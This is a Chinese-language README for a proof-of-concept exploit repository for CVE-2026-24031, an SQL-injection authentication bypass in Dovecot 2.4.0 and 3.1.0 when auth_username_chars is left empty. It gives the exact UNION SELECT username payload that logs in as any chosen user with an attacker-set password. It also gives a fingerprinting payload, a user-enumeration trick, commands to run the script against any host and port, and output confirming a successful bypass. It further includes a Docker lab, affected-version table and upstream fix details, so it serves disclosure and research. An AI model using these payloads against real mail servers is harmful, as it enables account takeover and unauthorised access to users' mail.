本仓库包含针对 CVE-2026-24031 的概念验证(PoC)身份验证绕过漏洞利用代码。该漏洞是 Dovecot 2.4.0 / 3.1.0 中引入的回归缺陷,存在于 Dovecot 基于 SQL 的身份验证机制中的 SQL 注入。在测试的 Docker 实验室环境(Dovecot 2.4.0 + PostgreSQL)中,该 PoC 可以在不知道真实密码的情况下以任意用户身份登录,并且还可以枚举用户。
警告
此 PoC 可对邮件服务器执行未认证的身份验证绕过。请仅将其用于你自己拥有的实验室环境,或用于你被明确授权测试的目标。它不会修改服务器的状态,但会触发身份验证流程,并可能在日志中留下失败的登录记录。
当管理员清空 auth_username_chars 配置指令(将其设置为空值)时,Dovecot 基于 SQL 的身份验证即存在漏洞。auth_username_chars 通常充当输入过滤器,在用户名被插入到 SQL passdb 查询之前,限制用户名中允许出现的字符。
当 auth_username_chars = 为空时,该值会不经 sql_escape_string() 处理直接传入查询。因此,包含 SQL 元字符的特制用户名会成为查询的一部分:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
以下载荷可使查询为 VICTIM 返回一行记录,其密码由攻击者指定:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} 由 Dovecot 解析(而非数据库),因此密码方案得到原生处理,该技巧适用于 pgsql、mysql、mariadb 和 sqlite。随后使用 12345 作为密码即可匹配,从而在不知道真实密码的情况下以 VICTIM 身份获得 LOGIN OK。
最终生成的查询为:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
这是一个在 Dovecot 2.4.0 中引入的回归缺陷,在 3.1.0 中同样存在。较早的 2.2.x / 2.3.x 版本会对用户名进行转义,因此不受影响。该缺陷已在 2.4.3 和 3.1.4 中修复(OXDC-ADV-2026-0001,DOV-8781)。
该漏洞仅在满足以下全部条件时适用:
pgsql、mysql、mariadb 或 sqlite 的 SQL passdb(driver = sql);auth_username_chars = (空值)——由管理员设置的触发条件;该 PoC 已针对 Dovecot 2.4.0(官方发布标签,daeb6bc5)+ PostgreSQL 完成验证。
使用用户名 ' OR '1'='1' -- 和任意密码进行身份验证。在存在漏洞的服务器上,查询语句会被篡改,因此 Dovecot 会返回 a1 NO [UNAVAILABLE] Temporary authentication failure.,而非经典的 AUTHENTICATIONFAILED。这是用户名未经转义即进入 SQL 查询的特征指纹。
使用以下用户名进行身份验证:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
以及密码 12345。UNION 行会覆盖 VICTIM 的 password 列,且 {PLAIN} 由 Dovecot 解析,因此密码校验成功。
由于“用户存在”和“用户不存在”两种情况下查询结果的形式不同(行数与响应状态),服务器会泄露某个用户名是否存在。该技巧对所有受影响的数据库后端均有效。
该 PoC 是一个自包含的 Python 3 脚本(仅依赖标准库)。启动易受攻击的实验室环境并运行漏洞利用程序:
./run.sh
run.sh 会构建并启动 Docker 实验室环境(lab/docker-compose.yml),等待 127.0.0.1:14193 上的 IMAPS 服务,然后运行 PoC。该实验室环境从官方发布 tarball 构建 Dovecot 2.4.0,并采用刻意设置的易受攻击配置和 PostgreSQL 数据库。
等效的手动操作步骤:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
PoC 选项:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
实验室数据库预置了以下用户:admin/admin123、alice/alicepass、bob/bobpass、postmaster/postpass 和 victim/supersecret。该 PoC 在不知道密码的情况下冒充 admin 身份。
该 PoC 已在 Docker 实验室环境中完成端到端验证。admin 用户的真实密码为 admin123;PoC 使用 12345 以 admin 身份登录成功。
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
包含正常对照步骤与无转义检测步骤的完整脱敏记录见 docs/example-output.txt。
本 README 顶部的动态演示(assets/CVE-2026-24031.gif)录制自针对运行中实验室环境的真实会话。可通过以下命令重新生成:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh 负责驱动实时演示;demo.cast 是用于渲染 GIF 的 asciinema 原始录制文件。
上游已发布安全公告(OXDC-ADV-2026-0001,DOV-8781);Dovecot 2.4.3 / 3.1.4 会在将用户名插入 SQL 查询之前对其进行转义。因此,本仓库不再重复提供修复补丁。建议的加固措施是切勿清空 auth_username_chars,或升级到已修复的版本。
漏洞发现:whisperer@yeswehack。
研究与漏洞利用实现:A. Ramos <[email protected]>
(Twitter:@aramosf)。
CVE-2026-24031 Dovecot SQL 身份验证绕过(身份验证绕过 + 用户枚举)PoC
| 版本 | 状态 |
|---|
| Dovecot 2.2.x | 不受影响(用户名会被转义) |
| Dovecot 2.3.x | 不受影响(用户名会被转义) |
| Dovecot 2.4.0 | 存在漏洞(回归:用户名未转义) |
| Dovecot 2.4.3+ | 已修复(用户名会被转义) |
| Dovecot 3.1.0 | 存在漏洞(同样的回归) |
| Dovecot 3.1.4+ | 已修复(用户名会被转义) |